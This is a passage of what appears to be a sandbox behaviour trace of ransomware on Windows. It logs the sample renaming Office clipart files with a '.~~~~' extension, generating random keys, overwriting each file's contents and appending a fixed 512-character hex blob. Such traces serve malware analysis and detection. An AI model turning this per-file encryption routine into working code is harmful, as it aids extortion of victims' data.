	[0121.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.~~~~")) returned 1
	[0121.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5780 | out: hHeap=0x300000) returned 1
	[0121.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.057] GetLastError () returned 0x0
	[0121.058] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.059] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.059] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.059] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24104923200) returned 1
	[0121.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1a03290, dwHighDateTime=0x1d60e1e)) 
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9a98
	[0121.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a98 | out: hHeap=0x300000) returned 1
	[0121.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.060] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.060] GetLastError () returned 0x0
	[0121.060] GetLastError () returned 0x0
	[0121.060] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.060] GetLastError () returned 0x0
	[0121.061] GetLastError () returned 0x0
	[0121.173] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffdfe9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.173] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2017, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x2017, lpOverlapped=0x0) returned 1
	[0121.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.175] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.175] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.175] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.175] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.175] CloseHandle (hObject=0x148) returned 1
	[0121.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f72d0
	[0121.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.~~~~")) returned 1
	[0121.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f72d0 | out: hHeap=0x300000) returned 1
	[0121.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.177] GetLastError () returned 0x0
	[0121.177] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.178] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.178] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.179] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24116865714) returned 1
	[0121.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1b33d90, dwHighDateTime=0x1d60e1e)) 
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9bb0
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9bb0 | out: hHeap=0x300000) returned 1
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.179] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.180] GetLastError () returned 0x0
	[0121.180] GetLastError () returned 0x0
	[0121.180] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.180] GetLastError () returned 0x0
	[0121.180] GetLastError () returned 0x0
	[0121.199] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe071, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.199] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1f8f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1f8f, lpOverlapped=0x0) returned 1
	[0121.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.200] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.200] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.200] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.200] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.200] CloseHandle (hObject=0x148) returned 1
	[0121.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6e80
	[0121.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.~~~~")) returned 1
	[0121.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6e80 | out: hHeap=0x300000) returned 1
	[0121.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.229] GetLastError () returned 0x0
	[0121.229] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.230] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.231] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24122083866) returned 1
	[0121.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1ba61b0, dwHighDateTime=0x1d60e1e)) 
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.232] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.232] GetLastError () returned 0x0
	[0121.232] GetLastError () returned 0x0
	[0121.232] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.232] GetLastError () returned 0x0
	[0121.232] GetLastError () returned 0x0
	[0121.251] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffaea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.251] WriteFile (in: hFile=0x148, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x516, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x516, lpOverlapped=0x0) returned 1
	[0121.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.254] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.254] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.254] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.254] CloseHandle (hObject=0x148) returned 1
	[0121.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0121.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.~~~~")) returned 1
	[0121.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
	[0121.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.256] GetLastError () returned 0x0
	[0121.257] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.258] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.258] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.258] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24124824827) returned 1
	[0121.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1bf2470, dwHighDateTime=0x1d60e1e)) 
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e028
	[0121.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e028 | out: hHeap=0x300000) returned 1
	[0121.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.259] GetLastError () returned 0x0
	[0121.259] GetLastError () returned 0x0
	[0121.259] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.259] GetLastError () returned 0x0
	[0121.260] GetLastError () returned 0x0
	[0121.298] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff66a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.298] WriteFile (in: hFile=0x148, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x996, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x996, lpOverlapped=0x0) returned 1
	[0121.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.300] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.300] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.300] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.300] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.300] CloseHandle (hObject=0x148) returned 1
	[0121.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6f38
	[0121.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.~~~~")) returned 1
	[0121.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6f38 | out: hHeap=0x300000) returned 1
	[0121.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.302] GetLastError () returned 0x0
	[0121.302] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.303] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.303] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.304] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24129386288) returned 1
	[0121.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1c64890, dwHighDateTime=0x1d60e1e)) 
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e0d0
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e0d0 | out: hHeap=0x300000) returned 1
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.305] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.305] GetLastError () returned 0x0
	[0121.305] GetLastError () returned 0x0
	[0121.305] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.305] GetLastError () returned 0x0
	[0121.306] GetLastError () returned 0x0
	[0121.385] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffea06, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.385] WriteFile (in: hFile=0x148, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x15fa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x15fa, lpOverlapped=0x0) returned 1
	[0121.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.390] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.391] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
